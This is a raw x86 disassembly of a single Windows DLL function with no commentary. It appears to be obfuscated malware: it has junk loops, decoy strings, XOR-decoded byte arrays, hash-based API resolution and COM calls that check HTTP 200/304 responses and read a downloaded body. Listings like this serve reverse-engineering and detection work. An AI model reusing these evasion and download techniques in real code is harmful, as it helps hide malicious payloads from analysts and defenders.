mov word [ebp - 0x4f4], ax
mov eax, 0xee1c
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x18], 0x93e6
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x20], 0xf3bd791
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], 0x9a1d127a
mov dword [ebp - 0x14], ebx
jmp 0x10003693
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3f8], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10003682
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x15c], ebx
je 0x10003733
cmp dword [ebp - 0x154], ebx
jne 0x10003726
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x154]
cmp eax, ecx
setge dl
cmp edx, 0xa023703a
jb 0x100036d6
cmp dword [ebp - 0x18], ebx
jne 0x100036d6
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x18]
mov ecx, 0xbbfad0d7
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
sbb edx, edx
neg edx
sub edx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x154]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x24], ebx
jne 0x10003726
mov eax, ebx
jmp 0x10003729
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x24]
je 0x10003733
xor ecx, ecx
inc ecx
jmp 0x10003735
mov ecx, ebx
mov eax, dword [ebp - 0x158]
imul eax, ecx
xor ecx, ecx
cmp eax, 0x3363
mov eax, dword [ebp - 0x154]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x15c]
setge dl
sub edx, eax
mov dword [ebp - 0x20], edx
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0x415e
setl al
xor ecx, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x28], eax
mov dword [ebp - 0x33c], 7
setl cl
mov dword [ebp - 0x340], ebx
xor eax, eax
mov dword [ebp - 0x28], ecx
mov word [ebp - 0x350], ax
lea ecx, [ebp - 0x350]
lea eax, [ebp - 0x540]
push eax
call fcn.10004db8
push 0x13
mov byte [ebp - 4], 0x19
lea edi, [ebp - 0x540]
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x14], ebx
jmp 0x100037dd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x39c], 0xcd45
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100037cc
push 0x702f
push 1
push 0x1842
lea eax, [ebp - 0x45]
mov byte [ebp - 0x45], bl
push 1
push eax
mov edx, 0x381a
mov cl, 1
call fcn.10001f5a
mov dword [ebp - 0x24], 0x4296
add esp, 0x14
cmp dword [ebp - 0x24], 0x43f1
jle 0x10003877
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov edx, ecx
mov esi, ebx
mov ecx, eax
shl edx, cl
mov dword [ebp - 0x28], edx
mov edi, ebx
mov ebx, dword [ebp - 0x28]
lea ecx, [edi + esi]
mov eax, ebx
shl eax, cl
mov ecx, 0x1007c858
cdq
push edx
push eax
call fcn.10004668
inc edi
cmp edi, 0x61e1
jl 0x10003831
inc esi
push 0
pop ebx
cmp esi, 0x34a2
jl 0x1000382c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x215c
jl 0x10003821
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x7ff7
jl 0x1000381c
dec dword [ebp - 0x39c]
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x24], 0x40e0
jge 0x100038b7
mov edx, str.hiesow_kxo_dlpdgm
mov ecx, 0x1007c858
call fcn.10006b3c
jmp 0x100038b7
mov dword [ebp - 4], 0x19
mov ecx, ebx
push 0xb
pop eax
push 0x43
mov byte [ebp - 0xfa], al
pop eax
push 2
mov dword [ebp - 0x138], 0x6e0ee11b
mov dword [ebp - 0x134], 0x70011b02
mov dword [ebp - 0x130], 0x71a710c
mov dword [ebp - 0x12c], 0x7f1f7606
mov dword [ebp - 0x128], 0x4c25080f
mov dword [ebp - 0x124], 0x21e3903
mov dword [ebp - 0x120], 0x14137f0a
mov word [ebp - 0x11c], 0x1d05
mov byte [ebp - 0x11a], 0x1c
mov byte [ebp - 0x119], bl
mov word [ebp - 0x118], 0x312
mov byte [ebp - 0x116], 0x15
mov byte [ebp - 0x115], bl
mov dword [ebp - 0x114], 0x61d0116
mov byte [ebp - 0x110], 0x24
mov byte [ebp - 0x10f], bl
mov word [ebp - 0x10e], 0x7622
mov byte [ebp - 0x10c], bl
mov dword [ebp - 0x10b], 0x10422039
mov dword [ebp - 0x107], 0x19070808
mov dword [ebp - 0x103], 0x31d1806
mov dword [ebp - 0xff], 0x42ac345
mov byte [ebp - 0xfb], 0x14
mov dword [ebp - 0xf9], 0x23700d7a
mov word [ebp - 0xf5], 0x1471
mov byte [ebp - 0xf3], bl
mov dword [ebp - 0xf2], 0x1c076f09
mov dword [ebp - 0xee], 0x74217511
mov word [ebp - 0xea], 0x7517
mov word [ebp - 0x55a], ax
pop esi
cmp esi, 0x38
jne 0x100039e0
push 4
pop ecx
push 0x3a
pop esi
jmp 0x10003a18
movzx edx, byte [ebp + esi - 0x137]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x13a]
movzx ecx, word [ebp + eax*2 - 0x590]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x138]
add ecx, edx
mov word [ebp + eax*2 - 0x590], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x50
jb 0x100039d3
xor eax, eax
mov word [ebp - 0x544], ax
mov dword [ebp - 0x28], 0x3552
cmp dword [ebp - 0x28], 0x3603
jle 0x10003a79
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov ebx, esi
mov esi, 0x2746
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x1007c858
cdq
push edx
push eax
call fcn.10004668
dec ebx
dec esi
jne 0x10003a47
mov esi, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x5259
jl 0x10003a40
inc edi
push 0
pop ebx
cmp edi, 0x722c
jl 0x10003a3b
mov dword [ebp - 0x14], 0xe1757117
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 0x1b0], ebx
push 3
call fcn.10004892
lea eax, [ebp - 0x3e8]
mov byte [ebp - 4], 0x1c
push eax
push 1
push 0x19b0
push 1
push 0x79c2
lea edx, [ebp - 0x2f4]
xor cl, cl
call fcn.10001f5a
mov dword [ebp - 0x14], 0x1c
add esp, 0x14
cmp dword [ebp - 0x14], 0xfffffff2
jne 0x10003d07
mov esi, 0xb1b57606
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x1ac], 1
mov dword [ebp - 0x30], ebx
jmp 0x10003ccd
push 2
lea ecx, [ebp - 0x404]
call fcn.10004892
push 0x6a64
push ecx
push ecx
lea eax, [ebp - 0x3ec]
mov byte [ebp - 4], 0x1d
push eax
mov dword [ebp - 0x44], 9
lea ecx, [ebp - 0x404]
push ebx
call fcn.10001c8b
add esp, 0x14
mov dword [ebp - 0x44], 1
cmp dword [ebp - 0x44], ebx
jl 0x10003cbb
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x2bc]
push 3
call fcn.10004892
lea eax, [ebp - 0x1c0]
mov byte [ebp - 4], 0x1e
push eax
push ecx
push ecx
lea eax, [ebp - 0x2bc]
mov edx, 0x546e
push eax
push 0x7a8c
push ecx
xor cl, cl
call fcn.10001c35
add esp, 0x18
mov dword [ebp - 0x1c], ebx
jmp 0x10003c99
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x384], esi
mov dword [ebp - 0x380], esi
mov dword [ebp - 0x37c], esi
mov dword [ebp - 0x378], esi
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x2c], ebx
jl 0x10003c96
mov dword [ebp - 0x18], 0x221e9c96
mov dword [ebp - 0x20], 0x9063
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], ebx
jl 0x10003c66
mov dword [ebp - 0x24], ebx
jmp 0x10003bd4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2d0], 0xc4b664fb
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10003bc3
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x20], ebx
jne 0x10003c10
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2bc]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp eax, 1
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x1ac], ecx
cmp dword [ebp - 0x1c], 1
jge 0x10003c54
mov eax, dword [ebp - 0x2bc]
cmp dword [eax], ebx
jne 0x10003c54
mov eax, ebx
jmp 0x10003c57
xor eax, eax
inc eax
mov dword [ebp - 0x378], eax
dec dword [ebp - 0x18]
jns 0x10003bbe
sub esp, 0xc
lea eax, [ebp - 0x1b0]
lea edx, [ebp - 0x44]
mov ecx, 0x24d2
push eax
push 0x7717
lea eax, [ebp - 0x1ac]
push eax
push ebx
call fcn.10001bcd
add esp, 0x1c
dec dword [ebp - 0x2c]
jns 0x10003ba0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jle 0x10003b71
lea ecx, [ebp - 0x2bc]
mov byte [ebp - 4], 0x1d
call fcn.100048f4
dec dword [ebp - 0x44]
jns 0x10003b30
lea ecx, [ebp - 0x404]
mov byte [ebp - 4], 0x1c
call fcn.100048f4
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x12
jne 0x10003aeb
push ecx
push ecx
push 0x1cbb
push 0x608c
lea eax, [ebp - 0x2f4]
push 1
push eax
lea ecx, [ebp - 0x1b0]
call fcn.1000215c
add esp, 0x18
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff2
je 0x10003ad2
lea ecx, [ebp - 0x2f4]
call fcn.100048f4
mov byte [ebp - 4], 0x1f
cmp dword [ebp - 0x28], 0x32c8
jge 0x10003d4c
mov edx, str.krcq_vszupeyx_pcgxpbupk_faajxpzh_tlxbnom_djineapqi_wszqvj_cwn_zrqb_xipr_lfzxl_ebcz
mov ecx, 0x1007c858
call fcn.10006b3c
jmp 0x10003d4c
mov dword [ebp - 4], 0x19
lea ecx, [ebp - 0x324]
xor eax, eax
mov dword [ebp - 0x310], 7
mov word [ebp - 0x324], ax
lea eax, [ebp - 0x590]
push eax
mov dword [ebp - 0x314], ebx
call fcn.10004db8
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x33c], 8
lea edi, [ebp - 0x590]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x480]
mov esi, 0x1af0
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x350]
cmovae eax, dword [ebp - 0x350]
push eax
push 0x1fd4
push esi
call fcn.1001b736
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1000431e
cmp dword [ebp - 0x310], 8
lea ecx, [ebp - 0x470]
push ecx
lea eax, [ebp - 0x324]
cmovae eax, dword [ebp - 0x324]
push eax
push 0x1fd4
push esi
call fcn.1001b736
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1000431e
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x480]
push eax
push 3
push ebx
lea eax, [ebp - 0x470]
push eax
push 0x1fd4
push 0x370f
call fcn.1001b736
pop ecx
pop ecx
call eax
test eax, eax
js 0x1000431e
cmp dword [ebp - 0x38], 0
je 0x1000431e
push 0xb
pop eax
mov word [ebp - 0x460], ax
mov ecx, ebx
xor eax, eax
mov byte [ebp - 0x64], bl
push 0x47
mov word [ebp - 0x458], ax
pop eax
push 2
mov dword [ebp - 0x63], 0x9b3e0267
mov dword [ebp - 0x5f], 0x11013302
mov word [ebp - 0x190], ax
pop esi
mov dword [ebp - 0x164], ecx
cmp esi, 2
jne 0x10003e81
push 3
pop ecx
push ecx
mov dword [ebp - 0x164], ecx
pop esi
jmp 0x10003ecf
movzx edx, byte [ebp + esi - 0x63]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x66]
movzx eax, word [ebp + eax*2 - 0x190]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0xf44
sub ecx, eax
movzx eax, byte [ebp + esi - 0x64]
push ecx
push ecx
mov word [ebp + eax*2 - 0x190], cx
lea eax, [ebp - 0x164]
push eax
push 0x5ec4
push 1
call fcn.100021fa
mov ecx, dword [ebp - 0x164]
add esp, 0x14
add esi, 2
cmp esi, 9
jb 0x10003e6f
xor eax, eax
mov dword [ebp - 0x1d0], 7
mov word [ebp - 0x18a], ax
lea ecx, [ebp - 0x1e4]
mov word [ebp - 0x1e4], ax
lea eax, [ebp - 0x190]
push eax
mov dword [ebp - 0x1d4], ebx
call fcn.10004db8
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1e4]
cmp dword [ebp - 0x1d0], 8
mov eax, dword [ebp - 0x1d4]
cmovae ecx, dword [ebp - 0x1e4]
push dword [ebp - 0x1c0]
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x248], ebx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x244], ebx
cmovae ecx, dword [ebp - 0x1e4]
push eax
push ecx
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x240], ebx
call fcn.100075a9
push 0x1482
push ecx
push ecx
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 0x23
push eax
mov edx, 0x1865
mov cl, 1
call fcn.100021b7
mov edx, dword [ebp - 0x58]
add esp, 0x10
cmp dword [edx + 0x14], 8
jb 0x10003f96
mov ecx, dword [edx]
jmp 0x10003f98
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x10003fa6
mov edx, dword [edx]
push dword [ebp - 0x1c0]
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1f0], ebx
push eax
push edx
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
call fcn.100075a9
push 1
lea eax, [ebp - 0x1f0]
mov byte [ebp - 4], 0x24
push eax
push 0x388f
push 0x5bf8
push ebx
push 0x6ab0
push 0x3248
push 0x7f6e
mov edx, 0x55c6
mov cl, 1
call fcn.1000222e
cmp dword [ebp - 0x1d0], 8
lea edx, [ebp - 0x1e4]
lea esi, [ebp - 0x3ac]
mov eax, dword [ebp - 0x38]
cmovae edx, dword [ebp - 0x1e4]
add esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3ac]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x460]
push dword [ebp - 0x1f0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1000423f
mov esi, dword [ebp - 0x1cc]
mov cl, 1
mov dword [ebp - 0x16c], ebx
cmp esi, dword [ebp - 0x1c8]
je 0x100040b7
add esi, 0x18
test cl, cl
je 0x1000409f
cmp dword [esi + 0x14], 8
jb 0x1000407e
mov edi, dword [esi]
jmp 0x10004080
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1000408b
mov edx, dword [esi - 0x18]
jmp 0x1000408e
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x38]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x100040a1
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1c8]
jne 0x10004070
test cl, cl
je 0x1000423f
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x3ac]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1000423f
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x16c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1000423f
cmp dword [ebp - 0x16c], 0x130
je 0x1000410b
cmp dword [ebp - 0x16c], 0xc8
jne 0x1000423f
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x490]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1000423f
mov esi, dword [ebp - 0x488]
test esi, esi
je 0x1000423f
mov eax, dword [esi]
lea ecx, [ebp - 0x5d8]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x10004239
mov edi, dword [ebp - 0x5d0]
lea eax, [ebp - 0x3d]
push eax
push edi
push ebx
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x28], edi
push eax
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x268], edi
mov byte [ebp - 0x3d], bl
mov dword [ebp - 0x1a4], ebx
call fcn.10005c94
mov edx, edi
mov dword [ebp - 0x168], ebx
mov eax, ebx
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x14c], eax
add eax, dword [ebp - 0x1a8]
lea edi, [ebp - 0x168]
mov ecx, dword [esi]
push edi
push edx
push eax
push esi
call dword [ecx + 0xc]
mov edi, dword [ebp - 0x28]
test eax, eax
js 0x10004214
push 1
push 0x4da2
lea eax, [ebp - 0x168]
mov cl, 1
push eax
push 0xa2a
push 1
push 0x309c
push 0x5f55
push 0x7b43
lea edx, [ebp - 0x14c]
call fcn.1000222e
add esp, 0x18
lea eax, [ebp - 0x168]
mov ecx, 0x416c
push eax
lea eax, [ebp - 0x198]
push eax
push ebx
push 0x2309
call fcn.1000215c
mov eax, dword [ebp - 0x14c]
add esp, 0x18
cmp eax, edi
jae 0x10004214
mov edx, dword [ebp - 0x198]
jmp 0x1000418e
push ecx
push 1
push ecx
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x1a8]
push eax
push 0x3cd3
lea edx, [ebp - 0x268]
call fcn.10001da0
add esp, 0x18
mov eax, dword [esi]
push esi
call dword [eax + 8]
push 1
push 0x40c8
push 0x27c9
push 1
push 0x4132
mov dl, 1
lea ecx, [ebp - 0x38]
call fcn.1000234a
mov dword [ebp - 0x18], 0x2ec0
add esp, 0x14
cmp dword [ebp - 0x18], 0x3143
jle 0x100042d8
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0x2ad7
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x4d8]
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100042a5
mov eax, dword [eax]
push eax
call fcn.100483dc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4d8]
call fcn.10004d74
dec esi
dec dword [ebp - 0x28]
jne 0x10004287
mov esi, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x1280
jl 0x1000427d
inc edi
cmp edi, 0x56e7
jl 0x10004278
cmp dword [ebp - 0x18], 0x2b87
mov dword [ebp - 0x38], ebx
jge 0x100042ef
push str.hkxuninti_rdtiypsze_gkmyzt_fifmtu_cegepmo_fabeunzji_prxu_bnr_ywvfpxqnp_nbodt_gkxsaskrc_zpti_tkf
call fcn.100483dc
pop ecx
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 4], 0x24
call fcn.10004ff6
lea ecx, [ebp - 0x248]
call fcn.10004ff6
push ebx
push 1
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x21
call fcn.10004e40
push 0x1fd4
push 0x1c29
call fcn.1001b736
pop ecx
pop ecx
call eax
push dword [ebp - 0x25c]
movdqa xmm0, xmmword [0x1006fa70]
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x440]
mov dword [ebp - 0x258], ebx
push eax
push ebx
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x254], ebx
movdqu xmmword [ebp - 0x440], xmm0
mov dword [ebp - 0x250], ebx
call fcn.100073f4
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x18], ebx
jmp 0x1000438d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1fc], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000437c
mov dword [ebp - 0x1f4], ebx
cmp dword [ebp - 0x1f4], 0xffffffe9
jge 0x1000445d
mov esi, dword [ebp - 0x258]
push 3
lea ecx, [ebp - 0x2c8]
call fcn.10004892
sub esp, 0xc
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x20], 0x1de6fc60
lea ecx, [ebp - 0x3c8]
mov edx, 0x7016
push 0x3e48
push eax
push 0xbd2
push 1
call fcn.10001bcd
mov eax, dword [ebp - 0x2c8]
add esp, 0x1c
mov ecx, dword [eax]
sub ecx, dword [esi + 8]
mov eax, dword [ebp - 0x1f4]
sub ecx, 0x181290e8
add eax, ecx
je 0x10004419
cmp dword [ebp - 0x28], ebx
je 0x10004419
xor edx, edx
inc edx
jmp 0x1000441b
mov edx, ebx
mov eax, dword [ebp - 0x2c8]
xor ecx, ecx
cmp dword [eax], edx
setg cl
sub ecx, dword [esi + 0xc]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 1
lea ecx, [ebp - 0x2c8]
setle al
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x27
call fcn.100048f4
dec dword [ebp - 0x1f4]
cmp dword [ebp - 0x1f4], 0xffffffe9
jl 0x100043ac
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0x21
call fcn.100048f4
mov ecx, dword [ebp - 0x23c]
lea eax, [ebp - 0x1a8]
push eax
call fcn.1000497a
push ebx
push 1
lea ecx, [ebp - 0x324]
call fcn.10004e40
push ebx
push 1
lea ecx, [ebp - 0x350]
call fcn.10004e40
lea ecx, [ebp - 0x1cc]
call fcn.10004ebc
lea ecx, [ebp - 0x1a8]
call fcn.10004f80
lea ecx, [ebp + 8]
call fcn.10004ebc
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret